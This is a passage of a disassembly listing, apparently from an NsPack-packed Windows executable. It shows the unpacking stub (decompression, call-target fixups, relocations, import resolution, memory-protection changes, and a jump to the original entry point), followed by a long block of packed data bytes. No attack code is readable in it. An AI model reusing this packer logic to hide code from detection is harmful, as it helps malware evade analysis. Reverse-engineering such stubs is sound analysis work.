[ebp-11Bh], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_493474 pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-153h] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_4931E1 add edi, 4 mov ecx, 0 jmp short loc_4931F7 ; --------------------------------------------------------------------------- loc_4931E1: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_4931EB: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_493224 add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_4931F7: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-0A7h] push dword ptr [ebp-0ABh] mov edx, esi mov ecx, edi mov eax, [ebp-11Bh] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_493224 add ebx, 8 jmp short loc_4931EB ; --------------------------------------------------------------------------- loc_493224: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-11Bh] call dword ptr [ebp-0A7h] lea esi, [ebp-113h] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_49328B loc_49324C: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_493251: ; CODE XREF: start+136j cmp al, 1 ja short loc_49324C mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_493271 mov bl, [edx] cmp [edi], bl jnz short loc_49324C mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_49327B ; --------------------------------------------------------------------------- loc_493271: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_49327B: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_493251 loc_49328B: ; CODE XREF: start+F7j call sub_4933CA lea ecx, [ebp-0FFh] mov eax, [ecx+8] cmp eax, 0 jz loc_493323 mov esi, edx sub esi, [ecx+10h] jz short loc_493323 mov [ecx+10h], esi lea esi, [ebp-0CFh] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_4932C8 mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_4932D0 ; --------------------------------------------------------------------------- loc_4932C8: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_4932D0: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_4932F9 cmp al, 0EFh ja short loc_4932E3 loc_4932DD: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_4932D0 ; --------------------------------------------------------------------------- loc_4932E3: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_4932DD mov eax, [edi] add edi, 4 jmp short loc_4932DD ; --------------------------------------------------------------------------- loc_4932F9: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_493323 loc_493304: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_493311 add ebx, eax add [edi+ebx], cx jmp short loc_493304 ; --------------------------------------------------------------------------- loc_493311: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_493316: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_493323 add ebx, eax add [edi+ebx], cx jmp short loc_493316 ; --------------------------------------------------------------------------- loc_493323: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-143h] mov edx, [esi] lea esi, [ebp-0E7h] mov al, [esi] cmp al, 1 jnz short loc_493376 add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-0AFh] pop edi pop esi cmp eax, 1 jnz loc_493513 add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-0AFh] loc_493376: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_4933AF inc ebx lea esi, [ebp-143h] mov edx, [esi] loc_493390: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-0AFh] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_493390 loc_4933AF: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_4933C3 popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4933C3: ; CODE XREF: start+264j popa popf jmp loc_490E6E start endp ; =============== S U B R O U T I N E ======================================= sub_4933CA proc near ; CODE XREF: start:loc_49328Bp mov esi, [ebp-14Bh] or esi, esi jz loc_49346F mov edx, [ebp-143h] add esi, edx loc_4933E0: ; CODE XREF: sub_4933CA+61j cmp dword ptr [esi], 0 jnz short loc_4933F3 cmp dword ptr [esi+4], 0 jnz short loc_4933F3 cmp dword ptr [esi+8], 0 jnz short loc_4933F3 jmp short loc_49346D ; --------------------------------------------------------------------------- loc_4933F3: ; CODE XREF: sub_4933CA+19j ; sub_4933CA+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-73h] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-0B7h] pop edi pop edx pop ebx cmp eax, 0 jz short loc_49346F mov [ebp-13Bh], eax add edi, [esi] add esi, 4 loc_493421: ; CODE XREF: sub_4933CA+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_49342D inc esi jmp short loc_4933E0 ; --------------------------------------------------------------------------- loc_49342D: ; CODE XREF: sub_4933CA+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_493441 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_493441: ; CODE XREF: sub_4933CA+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-13Bh] call dword ptr [ebp-0B3h] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_49346F mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_493421 ; --------------------------------------------------------------------------- loc_49346D: ; CODE XREF: sub_4933CA+27j clc retn ; --------------------------------------------------------------------------- loc_49346F: ; CODE XREF: sub_4933CA+8j ; sub_4933CA+4Aj ... jmp loc_493513 sub_4933CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493474 proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0049350F SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_493480: ; CODE XREF: sub_493474+12j movsb loc_493481: ; CODE XREF: sub_493474+34j ; sub_493474+7Dj call sub_4934F3 jnb short loc_493480 xor ecx, ecx call sub_4934F3 jnb short loc_4934AA xor eax, eax call sub_4934F3 jnb short loc_4934BB mov al, 10h loc_49349C: ; CODE XREF: sub_493474+2Fj call sub_4934F3 adc al, al jnb short loc_49349C jnz short loc_4934E8 stosb jmp short loc_493481 ; --------------------------------------------------------------------------- loc_4934AA: ; CODE XREF: sub_493474+1Bj call sub_4934FF dec ecx loop loc_4934C7 mov eax, ebp call sub_4934FD jmp short loc_4934E9 ; --------------------------------------------------------------------------- loc_4934BB: ; CODE XREF: sub_493474+24j lodsb shr eax, 1 jz short loc_49350F adc ecx, 2 mov ebp, eax jmp short loc_4934E9 ; --------------------------------------------------------------------------- loc_4934C7: ; CODE XREF: sub_493474+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_4934FD cmp eax, 7D00h jnb short loc_4934E7 cmp eax, 500h jnb short loc_4934E8 cmp eax, 7Fh ja short loc_4934E9 loc_4934E7: ; CODE XREF: sub_493474+65j inc ecx loc_4934E8: ; CODE XREF: sub_493474+31j ; sub_493474+6Cj inc ecx loc_4934E9: ; CODE XREF: sub_493474+45j ; sub_493474+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_493481 sub_493474 endp ; =============== S U B R O U T I N E ======================================= sub_4934F3 proc near ; CODE XREF: sub_493474:loc_493481p ; sub_493474+16p ... add dl, dl jnz short locret_4934FC mov dl, [esi] inc esi adc dl, dl locret_4934FC: ; CODE XREF: sub_4934F3+2j retn sub_4934F3 endp ; =============== S U B R O U T I N E ======================================= sub_4934FD proc near ; CODE XREF: sub_493474+40p ; sub_493474+5Bp xor ecx, ecx sub_4934FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4934FF proc near ; CODE XREF: sub_493474:loc_4934AAp inc ecx loc_493500: ; CODE XREF: sub_4934FF+Dj call sub_4934F3 adc ecx, ecx call sub_4934F3 jb short loc_493500 retn sub_4934FF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_493474 loc_49350F: ; CODE XREF: sub_493474+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_493474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_493513: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-0A3h] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_49352F mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_49352F: ; CODE XREF: .nsp1:00493523j pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_49355E ; --------------------------------------------------------------------------- db 58h dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh db 0C1h, 0E2h ; --------------------------------------------------------------------------- loc_49355E: ; CODE XREF: .nsp1:0049354Dj or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- db 89h dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh dd 0F8C41E5Fh, 80B90153h, 0 dd 5D00h, 0FBF00020h, 20000000h, 9, 0FFFFFD6Fh, 47FFB7A3h dd 7215483Eh, 0B8516139h, 0A3E62892h, 0EEF90786h, 0D3821EE4h dd 3C3AC52Fh, 7EB14B01h, 4D8A8AC9h, 0D90DA32Fh, 8CE3A67Fh dd 0E0531123h, 75C51859h, 0F877E28Ah, 0C7F94B6h, 74DEC06Ah dd 0E9E26449h, 4B2535Ch, 0C44F7D8h, 6D0D5FABh, 0C3E5E946h dd 96B78876h, 4DB6AC57h, 6F1D69E1h, 10884BFBh, 88CB426Ch dd 8F005C3Fh, 26AF4ED0h, 1F719428h, 0E1248F3Dh, 23A79E70h dd 0CB28EC5Fh, 9895D185h, 0C617A8Ah, 1ACC7346h, 570D46A4h dd 22AED1F9h, 0ED5B4DFEh, 5F2C1B8Ah, 0C0FAB9CEh, 1358796Fh dd 3CFE18BDh, 941DFBC0h, 0A0CFAB51h, 3A78812Bh, 0DC1B00ADh dd 0F7BE9513h, 407BF1h, 12DFE79Fh, 27AAAC14h, 0B9B59DDFh dd 597FED96h, 12776FDAh, 574780E7h, 0DB062D33h, 0AA32F6A5h dd 0A0A2498Dh, 5D46F4C5h, 5DD068Dh, 1CF92360h, 60600925h dd 27FAB5h, 5CFDB8BFh, 0D26203D2h, 3A259C43h, 0CD68AD1Ah dd 9695E22Bh, 0B105F264h, 972107B3h, 942A2D05h, 0F31548A2h dd 0D5E7F8D0h, 9659CC6h, 0F64150Fh, 98AB9C39h, 0B62361E0h dd 1F6A47Bh, 0FEB20242h, 0D970E7DDh, 0A8A0C019h, 2C9FD2CBh dd 0EA606D69h, 0DA198AB5h, 73103364h, 3FF3987Dh, 0FEED48Ah dd 0C61662BEh, 81953FD8h, 86A9BE45h, 0DD48C604h, 8389DB3Ch dd 37440B9Fh, 1F9505F1h, 6D6EAB55h, 0AA78E7BEh, 2768B6F5h dd 780FC01Bh, 83E9B6C0h, 1F3FBE0Bh, 88376029h, 0F97A437Dh dd 518055E2h, 0C89F4119h, 7E791EFAh, 1D097BF1h, 0AD1E9CD3h dd 6CD3FF25h, 44E49982h, 2E12445Ch, 0C9131746h, 0E36903FEh dd 0B1300F80h, 0E49568Dh, 2C9F6354h, 4AFDCBF8h, 0FD21898Fh dd 5E719419h, 7C2BB328h, 5D169937h, 3837D06Fh, 0D1266F23h dd 81CAC6EAh, 0F3C76FD8h, 0A1497BC7h, 0E04A98AEh, 3A86CFBEh dd 2A5F1824h, 66FCFFCBh, 83A948FDh, 0B4A7AA73h, 873AB2D4h dd 46E29DCAh, 5BD679C8h, 0C282E77Dh, 0B2B46828h, 4101D864h dd 1C0F0062h, 18A3B9E1h, 0E9D573ABh, 4CBB6FC7h, 0B8E31053h dd 88096715h, 0CF0F6191h, 0D31924DDh, 3CAADCE2h, 8638B2B5h dd 5ADF833Bh, 3DFD451Eh, 0DBCA70A3h, 0ECE1392Eh, 0BB5BD531h dd 0F642FDEFh, 0B93BEEE6h, 0D23D9D00h, 0B6046FA4h, 0B5C0F473h dd 5DABD8F1h, 0F4094374h, 176ECF49h, 0AFCC2CA3h, 24A427D9h dd 16C16123h, 3B870E0Bh, 0DB8E5882h, 0F6B24EE0h, 0A7FA7257h dd 307431CEh, 0C739BA58h, 3A43F07Fh, 330AC810h, 0C99529F4h dd 0D9FFBDD3h, 0AB27149Ch, 0BFED73DFh, 28FE5343h, 91F06823h dd 8894A337h, 574782EBh, 8596F0C0h, 0A961AF04h, 75C14041h dd 0B595E263h, 0FF2A1837h, 0CCD2A851h, 872CD094h, 0DC29057Dh dd 0F0FD540h, 69AAAC61h, 0C8F8317h, 0E2B5C66Fh, 0B13C9EC8h dd 4A30490Fh, 68716A28h, 5095175Ch, 0B6160F3Ah, 412140ADh dd 59AC5EDEh, 0E661185h, 0B987C9DEh, 7FB50B2Bh, 0F01CB6C5h dd 4DCCB86Fh, 0FAA90E35h, 7707030Eh, 46CD1ED4h, 0E356B8C7h dd 0F79E8827h, 0DE9B22C1h, 0F4B1FE3Fh, 123CA783h, 87555C9h dd 88D4BA92h, 53131520h, 8B6611C5h, 560D493h, 0BC9D908Ah dd 3CC970BAh, 0DD418439h, 80365C3Bh, 9C4AB7BEh, 7F5E1411h dd 0BB2B61CAh, 73E2409Fh, 0E54AD096h, 45FFB548h, 0F88308C2h dd 5F4A7F48h, 0E1840D9Bh, 0BEBAE8BBh, 385F4CB9h, 28CC888Ah dd 94B3252Ah, 8897110Dh, 0B8EF5917h, 1467E01Fh, 31F3E03Fh dd 0E9C0047Ch, 0CF513224h, 0B22986Eh, 5DA4EC83h, 2641FB44h dd 0C324A994h, 18318168h, 6D874C48h, 183C308Dh, 38BAD813h dd 1B4EFDD9h, 98A2FE0Dh, 8FE4C711h, 0D7E28AE1h, 0D2247F1Fh dd 0A27F4231h, 0B96FE2A1h, 87D549EDh, 0CF989F3Fh, 8FF5C1Dh dd 41BB0012h, 92A438A2h, 770A3A9Dh, 8EC61620h, 0B40E5354h dd 18D4896Ch, 0FCC3F80h, 0F64E749Bh, 3960398Ah, 0E054AB41h dd 0E1B5227Dh, 0D2369573h, 53588731h, 0C1349D32h, 0AB01E65Eh dd 93790699h, 5B5EA176h, 5F08593Ch, 0CAA00AF9h, 0B05C0F86h dd 4FD14E9Eh, 66F3C931h, 32E795DEh, 39AA7694h, 0B79F9F3Ah dd 4EF87A85h, 0FBD6F07Fh, 0A6881280h, 9322A075h, 0AD7D0041h dd 0E306E3D3h, 0CE8811D9h, 7E383BDAh, 0E3E0A7F5h, 0CFDCD802h dd 0FA4E646h, 0A24C6521h, 0A6C03603h, 2CFDC650h, 47B70C83h dd 924AD2DAh, 0E747D092h, 0A3CD86FDh, 16B1A989h, 754FEA4Dh dd 97504D2Dh, 6C09ECC0h, 770F4DC2h, 0EDF9A482h, 0B9D2447Ch dd 80294984h, 53F33B4Ah, 0D13189EEh, 2C685922h, 986EB952h dd 0B37B37FBh, 3E53177Fh, 0CD8B0FD0h, 0D5A61D0Bh, 5E613084h dd 2F55DF91h, 2CDF20C7h, 0AEE00C99h, 8A012A08h, 0C546E40Fh dd 0CED54894h, 0C10F5B53h, 0DDA02654h, 0B5B39AFDh, 4DADDA47h dd 3790BC3Dh, 3D4D11E2h, 73303D5Ah, 7FBE15A8h, 675CE87Ch dd 4ADC6041h, 8EFA7EA6h, 1EA1FEA1h, 41B3A9h, 71F6C835h dd 747DC402h, 5291C65Ch, 885B8E9h, 0E94CFC6Fh, 7DBF7B37h dd 10E3F634h, 6AD7E388h, 68402D2Fh, 0C182CE67h, 3B99257Dh dd 0F5694670h, 0E7150BF6h, 0D5B03625h, 64A5ACA1h, 9CD9D94h dd 5FCAAD9Dh, 0AEEB5ACDh, 57212EB9h, 7DE5D142h, 365B9C25h dd 5B4B7216h, 0CEA64F51h, 0C2E7A477h, 73A9C4C4h, 0D2E818CEh dd 60CC1B1Bh, 7D1D9B4Bh, 7F3E901Dh, 5547110Bh, 75073Ah dd 0C5751EB9h, 970C75EEh, 0B1FAB91Bh, 59D96DB1h, 3AAB28E9h dd 83737629h, 9AE793C3h, 0DCD43B55h, 9D272EB2h, 3ED23919h dd 36979B5Eh, 0A8150D7Eh, 51A3F3A5h, 6E9E7CA9h, 0EA919467h dd 0D67D0DBDh, 4BC4E4D3h, 8D82B4E8h, 850B2375h, 69E93E39h dd 60FFE11Dh, 0F085339Eh, 2A9F48A0h, 0AD14FC95h, 0D2BC47FFh dd 906DC7B1h, 6ACAFA0Ch, 0C549373Fh, 808E6A52h, 9D4B19E7h dd 54CCDD29h, 28CC3DF1h, 2A2F4DAAh, 0FC4D84Eh, 0DAE4DE81h dd 8C6E81A8h, 13DF9AADh, 4E0C7819h, 7CAE3E2Ch, 15459F9Eh dd 19518742h, 825862E9h, 9AC59E90h, 0DDF36F73h, 5A9DC955h dd 0EAC8F2BEh, 0A3F4B7D1h, 0F29F4F89h, 74093A3h, 0C37CAF64h dd 0F2428C43h, 798F140Dh, 0DDEA7D91h, 18243A7Dh, 7BD05A1Fh dd 3AB0AE98h, 9718F47Ah, 4C7602B0h, 0DE1E3346h, 0AB11EA6h dd 2F94273Ah, 7922A33Dh, 262AEE94h, 16FFABD3h, 0EF7C360Ch dd 4A2E9372h, 0BAA37E2Eh, 35D300D3h, 8EAB66D0h, 0FE3B2F2Fh dd 69DE47F5h, 0B50F3E5Fh, 335B17B3h, 0FB0FA5EFh, 5B57D5FCh dd 4DCFC55Fh, 0E80498FEh, 0A7F3642Bh, 42EAAC73h, 0CD108DD5h dd 0A31E3AA2h, 2CC9893Eh, 0D64C5951h, 0C683CA6Ah, 7B56277h dd 374A4274h, 450399EEh, 0FCC808E7h, 8AE0887Ah, 4435E3D1h dd 32B2121Ah, 0D1C7D0D8h, 7A798612h, 5D9D5A4Eh, 2C59AA45h dd 0B93B93Ah, 529F529Ah, 0F345B796h, 87556112h, 0A1B5D4D0h dd 8F2FD9B9h, 0CB7128F2h, 0CE00D31Eh, 1E647653h, 918FA24Eh dd 0A31BC23Ah, 3304917Ah, 8E6D007Dh, 443D1AC8h, 0CFED0025h dd 4E5E019Ch, 144300E1h, 0BA22B437h, 64AEEE05h, 0DF6BA6F0h dd 84BCF7B3h, 9C63FE0Fh, 792EE27h, 6EC93D98h, 0F28CCB1Bh dd 6F41099h, 88A5F0A1h, 2FEE7FABh, 0E511C3AEh, 0A6F7E0E5h dd 9F91E4Dh, 0F0499469h, 3FEE0117h, 0EF3C103Ah, 7503BBF7h dd 1E4E3F89h, 90D71EADh, 0EFF9A115h, 2ED3C3E6h, 0F27E24Ah dd 0E0B0D6CBh, 0CC9BFC02h, 7DBACCF9h, 71D294C4h, 0D637EAFAh dd 0AACD3071h dd 36CCD542h, 9B97EBF4h, 5AD30A75h, 0F512BA6Bh, 869489ECh dd 0A14C0F0Eh, 6D46F16Ch, 9BC48E41h, 4B215BC9h, 485B236h dd 87817C8Eh, 1183096Dh, 1FF42894h, 4F2838DAh, 0BE6D27E5h dd 889F48FFh, 0DC13FBF7h, 9C50F873h, 0A4D91096h, 1D6B7129h dd 8B99DFE4h, 4D59DC28h, 73B292D0h, 4FC7EFF4h, 0B6D1FF70h dd 0FD214ED5h, 0B886A94Dh, 0DDD9DF50h, 0AB774472h, 833B8224h dd 4621CA88h, 1F544291h, 0BDFD9D7Bh, 556133E4h, 0BA564E9Dh dd 553D4ABFh, 2D036626h, 5AD18189h, 29E79A3h, 0B640E803h dd 9B299ACDh, 0C4323ED4h, 0C78E48EDh, 2953F99Ah, 0BD9D219Ch dd 4F272D05h, 0A8E1F659h, 44A9E810h, 11D29A94h, 0CEB3C657h dd 4F186C99h, 0A248CF33h, 75F2AFC3h, 9505715Dh, 65931307h dd 4D4D4A7h, 35D3D0DBh, 0C594B96Fh, 80464100h, 0A7BCB57Eh dd 14BFA80Ch, 93BD1718h, 0B14A8B67h, 0D3E63DF9h, 2C837EBDh dd 0B6A630C2h, 5830E0FAh, 0D9AD9A7Eh, 1DE7E473h, 423BFF95h dd 3869FC47h, 326FA090h, 59033378h, 0EF78F09Eh, 9FEB2106h dd 0B3BD147Ch, 0A1C0B339h, 92AC0E1Eh, 0A3273A12h, 0FB02A47Dh dd 0D877144h, 7775A111h, 222B5809h, 968BB7DBh, 8C3E201h dd 1C3A0835h, 0BB35A55Eh, 252AF951h, 0E44790Bh, 0A04B4F8Ah dd 84A93F20h, 76663D48h, 8232821Fh, 0F545EEA5h, 0FD2F795Ah dd 470A7EA4h, 7AA51FE5h, 0F3231CB0h, 0FDB49981h, 868DC398h dd 5B9DD2B9h, 1EBC5342h, 9EFAEB27h, 80624474h, 9BD4BEAFh dd 7DCC8DB3h, 23AD1B70h, 0E37776BBh, 0FEA5C936h, 237EFA61h dd 0C06C2EFDh, 1C0FA3ADh, 32E9D95Ch, 8C35AA19h, 91C503CEh dd 0F0D77C66h, 0F298D8E1h, 3A97F53Eh, 48B938F1h, 0B1F1BA0h dd 3FB8A905h, 1F88EF76h, 525B7278h, 817F21BCh, 0C4FCC79Dh dd 6A6B79BAh, 2CF65D28h, 5E647532h, 38E10395h, 751106D3h dd 0D5843A04h, 0F41A23E6h, 2928D46Dh, 992076FEh, 7DDCA667h dd 0C0523862h, 0F4327947h, 5C96D265h, 0C4B352EFh, 0E94061Fh dd 3DC9B4BDh, 0CE583459h, 445A76E0h, 0DE5E6B03h, 5DCA2C7Fh dd 5D7BEF1Ah, 0C28B3D9Eh, 974955A6h, 93A2EC74h, 13704755h dd 0A9DA64EEh, 7ADC74C4h, 28CD6F13h, 0DFCED91Bh, 0F165EDA3h dd 1F1FCD22h, 0C48E1068h, 0EB37ABDDh, 0C3E78B85h, 2C3BCB5Dh dd 7958B99h, 0A58E4C42h, 85F9C0BAh, 5302C449h, 3F983DAAh dd 5FE5B8E8h, 0D4467DE4h, 0DCCCD480h, 397F296Dh, 3CED4A22h dd 7D7CE99Bh, 733EA761h, 7653844Fh, 0BB321262h, 33E6FA02h dd 20821B7Fh, 9183F2E1h, 99CDA9CDh, 730487E2h, 8FB7DD1Ah dd 429133FBh, 30484206h, 3738FB43h, 0FE43F937h, 7EBC2438h dd 3379FAD8h, 956A4CC9h, 0DD5ED030h, 0A32D694Fh, 3E4C483Eh dd 7DA52964h, 0E37F3A5Fh, 7B0ECDA0h, 710C59DEh, 6E4C68A5h dd 127FEFB6h, 9D2EA8DAh, 65B0725h, 25F12ECDh, 0C4597559h dd 0BB684E6Fh, 51276006h, 1F38F2CAh, 0E274B03Dh, 0D894EDCAh dd 8702679Ah, 4AE98893h, 3F454DD6h, 4E3DE2ECh, 2E00AD7Dh dd 7CAFC1Ah, 9F81D590h, 9D0CDFB8h, 33B3E76Ah, 0BC20C342h dd 8E947BC0h, 0CB97656h, 